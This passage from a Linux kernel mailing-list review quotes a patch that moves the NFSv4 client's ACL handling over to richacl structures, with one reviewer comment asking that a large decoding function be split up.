(res.attr_bitmask[0] & FATTR4_WORD0_ACL) { > + if (res.acl_bitmask & ACL4_SUPPORT_ALLOW_ACL) > + server->caps |= NFS_CAP_ALLOW_ACLS; > + if (res.acl_bitmask & ACL4_SUPPORT_DENY_ACL) > + server->caps |= NFS_CAP_DENY_ACLS; > + } > if (res.has_links != 0) > server->caps |= NFS_CAP_HARDLINKS; > if (res.has_symlinks != 0) > @@ -4518,45 +4524,11 @@ static int nfs4_proc_renew(struct nfs_client *clp, struct rpc_cred *cred) > return 0; > } > > -static inline int nfs4_server_supports_acls(struct nfs_server *server) > -{ > - return server->caps & NFS_CAP_ACLS; > -} > - > -/* Assuming that XATTR_SIZE_MAX is a multiple of PAGE_SIZE, and that > - * it's OK to put sizeof(void) * (XATTR_SIZE_MAX/PAGE_SIZE) bytes on > - * the stack. > +/* A arbitrary limit; we allocate at most DIV_ROUND_UP(NFS4ACL_SIZE_MAX, > + * PAGE_SIZE) pages and put an array of DIV_ROUND_UP(NFS4ACL_SIZE_MAX, > + * PAGE_SIZE) pages on the stack when encoding or decoding acls. > */ > -#define NFS4ACL_MAXPAGES DIV_ROUND_UP(XATTR_SIZE_MAX, PAGE_SIZE) > - > -static int buf_to_pages_noslab(const void *buf, size_t buflen, > - struct page **pages) > -{ > - struct page *newpage, **spages; > - int rc = 0; > - size_t len; > - spages = pages; > - > - do { > - len = min_t(size_t, PAGE_SIZE, buflen); > - newpage = alloc_page(GFP_KERNEL); > - > - if (newpage == NULL) > - goto unwind; > - memcpy(page_address(newpage), buf, len); > - buf += len; > - buflen -= len; > - *pages++ = newpage; > - rc++; > - } while (buflen != 0); > - > - return rc; > - > -unwind: > - for(; rc > 0; rc--) > - __free_page(spages[rc-1]); > - return -ENOMEM; > -} > +#define NFS4ACL_SIZE_MAX 65536 > > struct nfs4_cached_acl { > int cached; > @@ -4564,66 +4536,9 @@ struct nfs4_cached_acl { > char data[0]; > }; > > -static void nfs4_set_cached_acl(struct inode *inode, struct nfs4_cached_acl *acl) > -{ > - struct nfs_inode *nfsi = NFS_I(inode); > - > - spin_lock(&inode->i_lock); > - kfree(nfsi->nfs4_acl); > - nfsi->nfs4_acl = acl; > - spin_unlock(&inode->i_lock); > -} > - > static void nfs4_zap_acl_attr(struct inode *inode) > { > - nfs4_set_cached_acl(inode, NULL); > -} > - > -static inline ssize_t nfs4_read_cached_acl(struct inode *inode, char *buf, size_t buflen) > -{ > - struct nfs_inode *nfsi = NFS_I(inode); > - struct nfs4_cached_acl *acl; > - int ret = -ENOENT; > - > - spin_lock(&inode->i_lock); > - acl = nfsi->nfs4_acl; > - if (acl == NULL) > - goto out; > - if (buf == NULL) /* user is just asking for length */ > - goto out_len; > - if (acl->cached == 0) > - goto out; > - ret = -ERANGE; /* see getxattr(2) man page */ > - if (acl->len > buflen) > - goto out; > - memcpy(buf, acl->data, acl->len); > -out_len: > - ret = acl->len; > -out: > - spin_unlock(&inode->i_lock); > - return ret; > -} > - > -static void nfs4_write_cached_acl(struct inode *inode, struct page **pages, size_t pgbase, size_t acl_len) > -{ > - struct nfs4_cached_acl *acl; > - size_t buflen = sizeof(*acl) + acl_len; > - > - if (buflen <= PAGE_SIZE) { > - acl = kmalloc(buflen, GFP_KERNEL); > - if (acl == NULL) > - goto out; > - acl->cached = 1; > - _copy_from_pages(acl->data, pages, pgbase, acl_len); > - } else { > - acl = kmalloc(sizeof(*acl), GFP_KERNEL); > - if (acl == NULL) > - goto out; > - acl->cached = 0; > - } > - acl->len = acl_len; > -out: > - nfs4_set_cached_acl(inode, acl); > + forget_cached_richacl(inode); > } > > /* > @@ -4636,121 +4551,269 @@ out: > * length. The next getxattr call will then produce another round trip to > * the server, this time with the input buf of the required size. > */ > -static ssize_t __nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t buflen) > +static struct richacl *__nfs4_get_acl_uncached(struct inode *inode) > { > - struct page *pages[NFS4ACL_MAXPAGES] = {NULL, }; > + struct nfs_server *server = NFS_SERVER(inode); > + struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE)] = {}; > struct nfs_getaclargs args = { > .fh = NFS_FH(inode), > .acl_pages = pages, > - .acl_len = buflen, > + .acl_len = ARRAY_SIZE(pages) * PAGE_SIZE, > }; > struct nfs_getaclres res = { > - .acl_len = buflen, > + .server = server, > }; > struct rpc_message msg = { > .rpc_proc = &nfs4_procedures[NFSPROC4_CLNT_GETACL], > .rpc_argp = &args, > .rpc_resp = &res, > }; > - unsigned int npages = DIV_ROUND_UP(buflen, PAGE_SIZE); > - int ret = -ENOMEM, i; > + int err, i; > > - /* As long as we're doing a round trip to the server anyway, > - * let's be prepared for a page of acl data. */ > - if (npages == 0) > - npages = 1; > - if (npages > ARRAY_SIZE(pages)) > - return -ERANGE; > - > - for (i = 0; i < npages; i++) { > - pages[i] = alloc_page(GFP_KERNEL); > - if (!pages[i]) > + if (ARRAY_SIZE(pages) > 1) { > + /* for decoding across pages */ > + res.acl_scratch = alloc_page(GFP_KERNEL); > + err = -ENOMEM; > + if (!res.acl_scratch) > goto out_free; > } > > - /* for decoding across pages */ > - res.acl_scratch = alloc_page(GFP_KERNEL); > - if (!res.acl_scratch) > - goto out_free; > - > - args.acl_len = npages * PAGE_SIZE; > - > - dprintk("%s buf %p buflen %zu npages %d args.acl_len %zu\n", > - __func__, buf, buflen, npages, args.acl_len); > - ret = nfs4_call_sync(NFS_SERVER(inode)->client, NFS_SERVER(inode), > + dprintk("%s args.acl_len %zu\n", > + __func__, args.acl_len); > + err = nfs4_call_sync(NFS_SERVER(inode)->client, NFS_SERVER(inode), > &msg, &args.seq_args, &res.seq_res, 0); > - if (ret) > + if (err) > goto out_free; > > - /* Handle the case where the passed-in buffer is too short */ > - if (res.acl_flags & NFS4_ACL_TRUNC) { > - /* Did the user only issue a request for the acl length? */ > - if (buf == NULL) > - goto out_ok; > - ret = -ERANGE; > - goto out_free; > - } > - nfs4_write_cached_acl(inode, pages, res.acl_data_offset, res.acl_len); > - if (buf) { > - if (res.acl_len > buflen) { > - ret = -ERANGE; > - goto out_free; > - } > - _copy_from_pages(buf, pages, res.acl_data_offset, res.acl_len); > - } > -out_ok: > - ret = res.acl_len; > + richacl_compute_max_masks(res.acl); > + /* FIXME: Set inode->i_mode from res->mode? */ > + set_cached_richacl(inode, res.acl); > + err = 0; > + > out_free: > - for (i = 0; i < npages; i++) > - if (pages[i]) > - __free_page(pages[i]); > + if (err) { > + richacl_put(res.acl); > + res.acl = ERR_PTR(err); > + } > + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) > + __free_page(pages[i]); > if (res.acl_scratch) > __free_page(res.acl_scratch); > - return ret; > + return res.acl; > } > > -static ssize_t nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t buflen) > +static struct richacl *nfs4_get_acl_uncached(struct inode *inode) > { > struct nfs4_exception exception = { }; > - ssize_t ret; > + struct richacl *acl; > do { > - ret = __nfs4_get_acl_uncached(inode, buf, buflen); > - trace_nfs4_get_acl(inode, ret); > - if (ret >= 0) > + acl = __nfs4_get_acl_uncached(inode); > + trace_nfs4_get_acl(inode, IS_ERR(acl) ? PTR_ERR(acl) : 0); > + if (!IS_ERR(acl)) > break; > - ret = nfs4_handle_exception(NFS_SERVER(inode), ret, &exception); > + acl = ERR_PTR(nfs4_handle_exception(NFS_SERVER(inode), > + PTR_ERR(acl), &exception)); > } while (exception.retry); > - return ret; > + return acl; > } > > -static ssize_t nfs4_proc_get_acl(struct inode *inode, void *buf, size_t buflen) > +static struct richacl *nfs4_proc_get_acl(struct inode *inode) > { > struct nfs_server *server = NFS_SERVER(inode); > + struct richacl *acl; > int ret; > > - if (!nfs4_server_supports_acls(server)) > - return -EOPNOTSUPP; > + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) > + return ERR_PTR(-EOPNOTSUPP); > ret = nfs_revalidate_inode(server, inode); > if (ret < 0) > - return ret; > + return ERR_PTR(ret); > if (NFS_I(inode)->cache_validity & NFS_INO_INVALID_ACL) > nfs_zap_acl_cache(inode); > - ret = nfs4_read_cached_acl(inode, buf, buflen); > - if (ret != -ENOENT) > - /* -ENOENT is returned if there is no ACL or if there is an ACL > - * but no cached acl data, just the acl length */ > - return ret; > - return nfs4_get_acl_uncached(inode, buf, buflen); > + acl = get_cached_richacl(inode); > + if (acl != ACL_NOT_CACHED) > + return acl; > + return nfs4_get_acl_uncached(inode); > +} > + > +static int > +richacl_supported(struct nfs_server *server, struct richacl *acl) > +{ > + struct richace *ace; > + > + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) > + return -EOPNOTSUPP; > + > + richacl_for_each_entry(ace, acl) { > + if (richace_is_allow(ace)) { > + if (!(server->caps & NFS_CAP_ALLOW_ACLS)) > + return -EINVAL; > + } else if (richace_is_deny(ace)) { > + if (!(server->caps & NFS_CAP_DENY_ACLS)) > + return -EINVAL; > + } else > + return -EINVAL; > + } > + return 0; > } > > -static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t buflen) > +static int > +nfs4_encode_user(struct xdr_stream *xdr, const struct nfs_server *server, > + kuid_t uid) > +{ > + char name[IDMAP_NAMESZ]; > + int len; > + __be32 *p; > + > + len = nfs_map_uid_to_name(server, uid, name, IDMAP_NAMESZ); > + if (len < 0) { > + dprintk("nfs: couldn't resolve uid %d to string\n", > + from_kuid(&init_user_ns, uid)); > + return -ENOENT; > + } > + p = xdr_reserve_space(xdr, 4 + len); > + if (!p) > + return -EIO; > + p = xdr_encode_opaque(p, name, len); > + return 0; > +} > + > +static int > +nfs4_encode_group(struct xdr_stream *xdr, const struct nfs_server *server, > + kgid_t gid) > +{ > + char name[IDMAP_NAMESZ]; > + int len; > + __be32 *p; > + > + len = nfs_map_gid_to_group(server, gid, name, IDMAP_NAMESZ); > + if (len < 0) { > + dprintk("nfs: couldn't resolve gid %d to string\n", > + from_kgid(&init_user_ns, gid)); > + return -ENOENT; > + } > + p = xdr_reserve_space(xdr, 4 + len); > + if (!p) > + return -EIO; > + p = xdr_encode_opaque(p, name, len); > + return 0; > +} > + > +static unsigned int > +nfs4_ace_mask(int minorversion) > +{ > + return minorversion == 0 ? NFS40_ACE_MASK_ALL : NFS4_ACE_MASK_ALL; > +} > + > +static int > +nfs4_encode_ace_who(struct xdr_stream *xdr, const struct nfs_server *server, > + struct richace *ace, struct richacl *acl) > +{ > + const char *who; > + __be32 *p; > + > + if (ace->e_flags & RICHACE_SPECIAL_WHO) { > + unsigned int special_id = ace->e_id.special; > + const char *who; > + unsigned int len; > + > + if (!nfs4acl_special_id_to_who(special_id, &who, &len)) { > + WARN_ON_ONCE(1); > + return -EIO; > + } > + p = xdr_reserve_space(xdr, 4 + len); > + if (!p) > + return -EIO; > + xdr_encode_opaque(p, who, len); > + return 0; > + } else { > + who = richace_unmapped_identifier(ace, acl); > + if (who) { > + unsigned int len = strlen(who); > + > + p = xdr_reserve_space(xdr, 4 + len); > + if (!p) > + return -EIO; > + xdr_encode_opaque(p, who, len); > + return 0; > + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) > + return nfs4_encode_group(xdr, server, ace->e_id.gid); > + else > + return nfs4_encode_user(xdr, server, ace->e_id.uid); > + } > +} > + > +static int > +nfs4_encode_acl(struct page **pages, unsigned int len, struct richacl *acl, > + const struct nfs_server *server) > +{ > + int minorversion = server->nfs_client->cl_minorversion; > + unsigned int ace_mask = nfs4_ace_mask(minorversion); > + struct xdr_stream xdr; > + struct xdr_buf buf; > + __be32 *p; > + struct richace *ace; > + > + /* Reject acls not understood by the server */ > + if (server->attr_bitmask[1] & FATTR4_WORD1_DACL) { > + BUILD_BUG_ON(NFS4_ACE_MASK_ALL != RICHACE_VALID_MASK); > + } else { > + if (acl->a_flags) > + return -EINVAL; > + richacl_for_each_entry(ace, acl) { > + if (ace->e_flags & RICHACE_INHERITED_ACE) > + return -EINVAL; > + } > + } > + richacl_for_each_entry(ace, acl) { > + if (ace->e_mask & ~ace_mask) > + return -EINVAL; > + } > + > + xdr_init_encode_pages(&xdr, &buf, pages, len); > + > + if (server->attr_bitmask[1] & FATTR4_WORD1_DACL) { > + p = xdr_reserve_space(&xdr, 4); > + if (!p) > + goto fail; > + *p = cpu_to_be32(acl ? acl->a_flags : 0); > + } > + > + p = xdr_reserve_space(&xdr, 4); > + if (!p) > + goto fail; > + if (!acl) { > + *p++ = cpu_to_be32(0); > + return buf.len; > + } > + *p++ = cpu_to_be32(acl->a_count); > + > + richacl_for_each_entry(ace, acl) { > + p = xdr_reserve_space(&xdr, 4*3); > + if (!p) > + goto fail; > + *p++ = cpu_to_be32(ace->e_type); > + *p++ = cpu_to_be32(ace->e_flags & > + ~(RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)); > + *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); > + if (nfs4_encode_ace_who(&xdr, server, ace, acl) != 0) > + goto fail; > + } > + > + return buf.len; > + > +fail: > + return -ENOMEM; > +} > + > +static int __nfs4_proc_set_acl(struct inode *inode, struct richacl *acl) > { > struct nfs_server *server = NFS_SERVER(inode); > - struct page *pages[NFS4ACL_MAXPAGES]; > + struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE) + 1 /* scratch */] = {}; > struct nfs_setaclargs arg = { > + .server = server, > .fh = NFS_FH(inode), > .acl_pages = pages, > - .acl_len = buflen, > }; > struct nfs_setaclres res; > struct rpc_message msg = { > @@ -4758,16 +4821,20 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl > .rpc_argp = &arg, > .rpc_resp = &res, > }; > - unsigned int npages = DIV_ROUND_UP(buflen, PAGE_SIZE); > int ret, i; > > - if (!nfs4_server_supports_acls(server)) > - return -EOPNOTSUPP; > - if (npages > ARRAY_SIZE(pages)) > - return -ERANGE; > - i = buf_to_pages_noslab(buf, buflen, arg.acl_pages); > - if (i < 0) > - return i; > + ret = richacl_supported(server, acl); > + if (ret) > + return ret; > + > + ret = nfs4_encode_acl(pages, NFS4ACL_SIZE_MAX, acl, server); > + if (ret < 0) { > + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) > + put_page(pages[i]); > + return ret; > + } > + arg.acl_len = ret; > + > nfs4_inode_return_delegation(inode); > ret = nfs4_call_sync(server->client, server, &msg, &arg.seq_args, &res.seq_res, 1); > > @@ -4775,8 +4842,8 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl > * Free each page after tx, so the only ref left is > * held by the network stack > */ > - for (; i > 0; i--) > - put_page(pages[i-1]); > + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) > + put_page(pages[i]); > > /* > * Acl update can result in inode attribute update. > @@ -4790,12 +4857,12 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl > return ret; > } > > -static int nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t buflen) > +static int nfs4_proc_set_acl(struct inode *inode, struct richacl *acl) > { > struct nfs4_exception exception = { }; > int err; > do { > - err = __nfs4_proc_set_acl(inode, buf, buflen); > + err = __nfs4_proc_set_acl(inode, acl); > trace_nfs4_set_acl(inode, err); > err = nfs4_handle_exception(NFS_SERVER(inode), err, > &exception); > @@ -6257,34 +6324,283 @@ nfs4_release_lockowner(struct nfs_server *server, struct nfs4_lock_state *lsp) > rpc_call_async(server->client, &msg, 0, &nfs4_release_lockowner_ops, data); > } > > +static int nfs4_xattr_set_richacl(struct dentry *dentry, const char *key, > + const void *buf, size_t buflen, > + int flags, int handler_flags) > +{ > + struct inode *inode = d_inode(dentry); > + struct richacl *acl; > + int error; > + > + if (strcmp(key, "") != 0) > + return -EINVAL; > + > + if (buf) { > + acl = richacl_from_xattr(&init_user_ns, buf, buflen); > + if (IS_ERR(acl)) > + return PTR_ERR(acl); > + error = richacl_apply_masks(&acl, inode->i_uid); > + } else { > + /* > + * "Remove the acl"; only permissions granted by the mode > + * remain. We are using the cached mode here which could be > + * outdated; should we do a GETATTR first to narrow down the > + * race window? > + */ > + acl = richacl_from_mode(inode->i_mode); > + error = 0; > + } > + > + if (!error) > + error = nfs4_proc_set_acl(inode, acl); > + richacl_put(acl); > + return error; > +} > + > +static int nfs4_xattr_get_richacl(struct dentry *dentry, const char *key, > + void *buf, size_t buflen, int handler_flags) > +{ > + struct inode *inode = d_inode(dentry); > + struct richacl *acl; > + int error; > + umode_t mode = inode->i_mode & S_IFMT; > + > + if (strcmp(key, "") != 0) > + return -EINVAL; > + > + acl = nfs4_proc_get_acl(inode); > + if (IS_ERR(acl)) > + return PTR_ERR(acl); > + if (acl == NULL) > + return -ENODATA; > + error = -ENODATA; > + if (richacl_equiv_mode(acl, &mode) == 0 && > + ((mode ^ inode->i_mode) & S_IRWXUGO) == 0) > + goto out; > + error = richacl_to_xattr(&init_user_ns, acl, buf, buflen); > +out: > + richacl_put(acl); > + return error; > +} > + > +static size_t nfs4_xattr_list_richacl(struct dentry *dentry, char *list, > + size_t list_len, const char *name, > + size_t name_len, int handler_flags) > +{ > + struct nfs_server *server = NFS_SERVER(d_inode(dentry)); > + size_t len = sizeof(XATTR_NAME_RICHACL); > + > + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) > + return 0; > + > + if (list && len <= list_len) > + memcpy(list, XATTR_NAME_RICHACL, len); > + return len; > +} > + > #define XATTR_NAME_NFSV4_ACL "system.nfs4_acl" > > +static int richacl_to_nfs4_acl(struct nfs_server *server, > + const struct richacl *acl, > + void *buf, size_t buflen) > +{ > + const struct richace *ace; > + __be32 *p = buf; > + size_t size = 0; > + > + size += sizeof(*p); > + if (buflen >= size) > + *p++ = cpu_to_be32(acl->a_count); > + > + richacl_for_each_entry(ace, acl) { > + char who_buf[IDMAP_NAMESZ]; > + const char *who = who_buf; > + int who_len; > + > + size += 3 * sizeof(*p); > + if (buflen >= size) { > + *p++ = cpu_to_be32(ace->e_type); > + *p++ = cpu_to_be32(ace->e_flags & > + ~(RICHACE_INHERITED_ACE | > + RICHACE_UNMAPPED_WHO | > + RICHACE_SPECIAL_WHO)); > + *p++ = cpu_to_be32(ace->e_mask); > + } > + > + if (richace_is_unix_user(ace)) { > + who_len = nfs_map_uid_to_name(server, ace->e_id.uid, > + who_buf, sizeof(who_buf)); > + if (who_len < 0) > + return -EIO; > + } else if (richace_is_unix_group(ace)) { > + who_len = nfs_map_gid_to_group(server, ace->e_id.gid, > + who_buf, sizeof(who_buf)); > + if (who_len < 0) > + return -EIO; > + } else if (ace->e_flags & RICHACE_SPECIAL_WHO) { > + if (!nfs4acl_special_id_to_who(ace->e_id.special, > + &who, &who_len)) > + return -EIO; > + } else { > + who = richace_unmapped_identifier(ace, acl); > + if (who) > + who_len = strlen(who); > + else > + return -EIO; > + } > + > + size += sizeof(*p) + ALIGN(who_len, sizeof(*p)); > + if (buflen >= size) { > + unsigned int padding = -who_len & (sizeof(*p) - 1); > + > + *p++ = cpu_to_be32(who_len); > + memcpy(p, who, who_len); > + memset((char *)p + who_len, 0, padding); > + p += DIV_ROUND_UP(who_len, sizeof(*p)); > + } > + } > + if (buflen && buflen < size) > + return -ERANGE; > + return size; > +} > + > +static struct richacl *richacl_from_nfs4_acl(struct nfs_server *server, > + const void *buf, size_t buflen) > +{ > + struct richacl *acl = NULL; > + struct richace *ace; > + const __be32 *p = buf; > + int count, err; > + > + if (buflen < sizeof(*p)) > + return ERR_PTR(-EINVAL); > + count = be32_to_cpu(*p++); > + if (count > RICHACL_XATTR_MAX_COUNT) > + return ERR_PTR(-EINVAL); > + buflen -= sizeof(*p); > + acl = richacl_alloc(count, GFP_NOFS); > + if (!acl) > + return ERR_PTR(-ENOMEM); > + richacl_for_each_entry(ace, acl) { > + u32 who_len, size; > + int special_id; > + char *who; > + > + err = -EINVAL; > + if (buflen < 4 * sizeof(*p)) > + goto out; > + ace->e_type = be32_to_cpu(*p++); > + ace->e_flags = be32_to_cpu(*p++); > + if (ace->e_flags & (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) > + goto out; > + ace->e_mask = be32_to_cpu(*p++); > + who_len = be32_to_cpu(*p++); > + buflen -= 4 * sizeof(*p); > + size = ALIGN(who_len, 4); > + if (buflen < size || size == 0) > + goto out; > + who = (char *)p; > + special_id = nfs4acl_who_to_special_id(who, who_len); > + if (special_id >= 0) { > + ace->e_flags |= RICHACE_SPECIAL_WHO; > + ace->e_id.special = special_id; > + } else { > + bool unmappable; > + > + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { > + err = nfs_map_group_to_gid(server, who, who_len, > + &ace->e_id.gid); > + if (err) { > + dprintk("%s: nfs_map_group_to_gid " > + "failed!\n", __func__); > + goto out; > + } > + /* FIXME: nfsidmap doesn't distinguish between > + group nobody and unmappable groups! */ > + unmappable = gid_eq(ace->e_id.gid, > + make_kgid(&init_user_ns, 99)); > + } else { > + err = nfs_map_name_to_uid(server, who, who_len, > + &ace->e_id.uid); > + if (err) { > + dprintk("%s: nfs_map_name_to_gid " > + "failed!\n", __func__); > + goto out; > + } > + /* FIXME: nfsidmap doesn't distinguish between > + user nobody and unmappable users! */ > + unmappable = uid_eq(ace->e_id.uid, > + make_kuid(&init_user_ns, 99)); > + } > + if (unmappable) { > + err = -ENOMEM; > + if (richacl_add_unmapped_identifier(&acl, &ace, > + who, who_len, GFP_NOFS)) > + goto out; > + } > + } > + p += size / sizeof(*p); > + buflen -= size; > + } > + err = -EINVAL; > + if (buflen != 0) > + goto out; > + err = 0; > + > +out: > + if (err) { > + richacl_put(acl); > + acl = ERR_PTR(err); > + } > + return acl; > +} I'm not a fan of the "one giant function" approach. Is there any way to split richacl_from_nfs4_acl() into several smaller functions? Thanks, Anna > + > static int nfs4_xattr_set_nfs4_acl(struct dentry *dentry, const char *key, > const void *buf, size_t buflen, > int flags, int type) > { > - if (strcmp(key, "") != 0) > + struct inode *inode = d_inode(dentry); > + struct richacl *acl; > + int error; > + > + if (!buf || strcmp(key, "") != 0) > return -EINVAL; > > - return nfs4_proc_set_acl(d_inode(dentry), buf, buflen); > + acl = richacl_from_nfs4_acl(NFS_SERVER(inode), (void *)buf, buflen); > + if (IS_ERR(acl)) > + return PTR_ERR(acl); > + error = nfs4_proc_set_acl(inode, acl); > + richacl_put(acl); > + return error; > } > > static int nfs4_xattr_get_nfs4_acl(struct dentry *dentry, const char *key, > void *buf, size_t buflen, int type) > { > + struct inode *inode = d_inode(dentry); > + struct richacl *acl; > + int error; > + > if (strcmp(key, "") != 0) > return -EINVAL; > - > - return nfs4_proc_get_acl(d_inode(dentry), buf, buflen); > + acl = nfs4_proc_get_acl(inode); > + if (IS_ERR(acl)) > + return PTR_ERR(acl); > + if (acl == NULL) > + return -ENODATA; > + error = richacl_to_nfs4_acl(NFS_SERVER(inode), acl, buf, buflen); > + richacl_put(acl); > + return error; > } > > static size_t nfs4_xattr_list_nfs4_acl(struct dentry *dentry, char *list, > size_t list_len, const char *name, > size_t name_len, int type) > { > + struct nfs_server *server = NFS_SERVER(d_inode(dentry)); > size_t len = sizeof(XATTR_NAME_NFSV4_ACL); > > - if (!nfs4_server_supports_acls(NFS_SERVER(d_inode(dentry)))) > + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) > return 0; > > if (list && len <= list_len) > @@ -8837,6 +9153,13 @@ const struct nfs_rpc_ops nfs_v4_clientops = { > .clone_server = nfs_clone_server, > }; > > +static const struct xattr_handler nfs4_xattr_richacl_handler = { > + .prefix = XATTR_NAME_RICHACL, > + .list = nfs4_xattr_list_richacl, > + .get = nfs4_xattr_get_richacl, > + .set = nfs4_xattr_set_richacl, > +}; > + > static const struct xattr_handler nfs4_xattr_nfs4_acl_handler = { > .prefix = XATTR_NAME_NFSV4_ACL, > .list = nfs4_xattr_list_nfs4_acl, > @@ -8845,6 +9168,7 @@ static const struct xattr_handler nfs4_xattr_nfs4_acl_handler = { > }; > > const struct xattr_handler *nfs4_xattr_handlers[] = { > + &nfs4_xattr_richacl_handler, > &nfs4_xattr_nfs4_acl_handler, > #ifdef CONFIG_NFS_V4_SECURITY_LABEL > &nfs4_xattr_nfs4_label_handler, > diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c > index eefed15..f2507d7 100644 > --- a/fs/nfs/nfs4xdr.c > +++ b/fs/nfs/nfs4xdr.c > @@ -52,6 +52,10 @@ > #include > #include > #include > +#include > +#include > +#include /* for RICHACL_XATTR_MAX_COUNT */ > +#include > > #include "nfs4_fs.h" > #include "internal.h" > @@ -1650,16 +1654,24 @@ encode_restorefh(struct xdr_stream *xdr, struct compound_hdr *hdr) > static void > encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compound_hdr *hdr) > { > - __be32 *p; > + int attrlen_offset; > + __be32 attrlen, *p; > > encode_op_hdr(xdr, OP_SETATTR, decode_setacl_maxsz, hdr); > encode_nfs4_stateid(xdr, &zero_stateid); > + > + /* Encode attribute bitmap. */ > p = reserve_space(xdr, 2*4); > *p++ = cpu_to_be32(1); > *p = cpu_to_be32(FATTR4_WORD0_ACL); > - p = reserve_space(xdr, 4); > - *p = cpu_to_be32(arg->acl_len); > + > + attrlen_offset = xdr->buf->len; > + xdr_reserve_space(xdr, 4); /* to be backfilled later */ > + > xdr_write_pages(xdr, arg->acl_pages, 0, arg->acl_len); > + > + attrlen = htonl(xdr->buf->len - attrlen_offset - 4); > + write_bytes_to_xdr_buf(xdr->buf, attrlen_offset, &attrlen, 4); > } > > static void > @@ -2488,7 +2500,7 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, > encode_sequence(xdr, &args->seq_args, &hdr); > encode_putfh(xdr, args->fh, &hdr); > replen = hdr.replen + op_decode_hdr_maxsz + 1; > - encode_getattr_two(xdr, FATTR4_WORD0_ACL, 0, &hdr); > + encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); > > xdr_inline_pages(&req->rq_rcv_buf, replen << 2, > args->acl_pages, 0, args->acl_len); > @@ -5260,24 +5272,135 @@ decode_restorefh(struct xdr_stream *xdr) > return decode_op_hdr(xdr, OP_RESTOREFH); > } > > +static int > +nfs4_decode_ace_who(struct richace *ace, > + const char **unmapped, unsigned int *unmapped_len, > + const struct nfs_server *server, > + struct xdr_stream *xdr) > +{ > + char *who; > + u32 len; > + int special_id; > + __be32 *p; > + int error; > + > + p = xdr_inline_decode(xdr, 4); > + if (!p) > + return -ENOMEM; /* acl truncated */ > + len = be32_to_cpup(p++); > + if (len >= XDR_MAX_NETOBJ) { > + dprintk("%s: name too long (%u)!\n", > + __func__, len); > + return -EIO; > + } > + who = (char *)xdr_inline_decode(xdr, len); > + if (!who) > + return -ENOMEM; /* acl truncated */ > + > + special_id = nfs4acl_who_to_special_id(who, len); > + if (special_id >= 0) { > + ace->e_flags |= RICHACE_SPECIAL_WHO; > + ace->e_flags &= ~RICHACE_IDENTIFIER_GROUP; > + ace->e_id.special = special_id; > + return 0; > + } > + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { > + error = nfs_map_group_to_gid(server, who, len, &ace->e_id.gid); > + if (error) { > + dprintk("%s: nfs_map_group_to_gid failed!\n", > + __func__); > + return error; > + } > + /* FIXME: nfsidmap doesn't distinguish between group nobody and > + unmappable groups! */ > + if (gid_eq(ace->e_id.gid, make_kgid(&init_user_ns, 99))) { > + *unmapped = who; > + *unmapped_len = len; > + } > + } else { > + error = nfs_map_name_to_uid(server, who, len, &ace->e_id.uid); > + if (error) { > + dprintk("%s: nfs_map_name_to_uid failed!\n", > + __func__); > + return error; > + } > + /* FIXME: nfsidmap doesn't distinguish between user nobody and > + unmappable users! */ > + if (uid_eq(ace->e_id.uid, make_kuid(&init_user_ns, 99))) { > + *unmapped = who; > + *unmapped_len = len; > + } > + } > + return 0; > +} > + > +static struct richacl * > +decode_acl_entries(struct xdr_stream *xdr, const struct nfs_server *server) > +{ > + struct richacl *acl; > + struct richace *ace; > + uint32_t count; > + __be32 *p; > + int status; > + > + p = xdr_inline_decode(xdr, 4); > + if (unlikely(!p)) > + return ERR_PTR(-ENOMEM); /* acl truncated */ > + count = be32_to_cpup(p); > + if (count > RICHACL_XATTR_MAX_COUNT) > + return ERR_PTR(-EIO); > + acl = richacl_alloc(count, GFP_NOFS); > + if (!acl) > + return ERR_PTR(-ENOMEM); > + richacl_for_each_entry(ace, acl) { > + const char *unmapped = NULL; > + unsigned int unmapped_len; > + > + p = xdr_inline_decode(xdr, 4*3); > + status = -ENOMEM; > + if (unlikely(!p)) > + goto out; /* acl truncated */ > + ace->e_type = be32_to_cpup(p++); > + ace->e_flags = be32_to_cpup(p++); > + status = -EIO; > + if (ace->e_flags & > + (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) > + goto out; > + ace->e_mask = be32_to_cpup(p++); > + status = nfs4_decode_ace_who(ace, &unmapped, > + &unmapped_len, server, > + xdr); > + if (status) > + goto out; > + if (unmapped) { > + status = -ENOMEM; > + if (richacl_add_unmapped_identifier(&acl, &ace, > + unmapped, unmapped_len, > + GFP_NOFS)) > + goto out; > + } > + } > + status = 0; > + > +out: > + if (status) { > + richacl_put(acl); > + acl = ERR_PTR(status); > + } > + return acl; > +} > + > static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, > struct nfs_getaclres *res) > { > unsigned int savep; > uint32_t attrlen, > bitmap[3] = {0}; > + struct richacl *acl = NULL; > int status; > - unsigned int pg_offset; > > - res->acl_len = 0; > if ((status = decode_op_hdr(xdr, OP_GETATTR)) 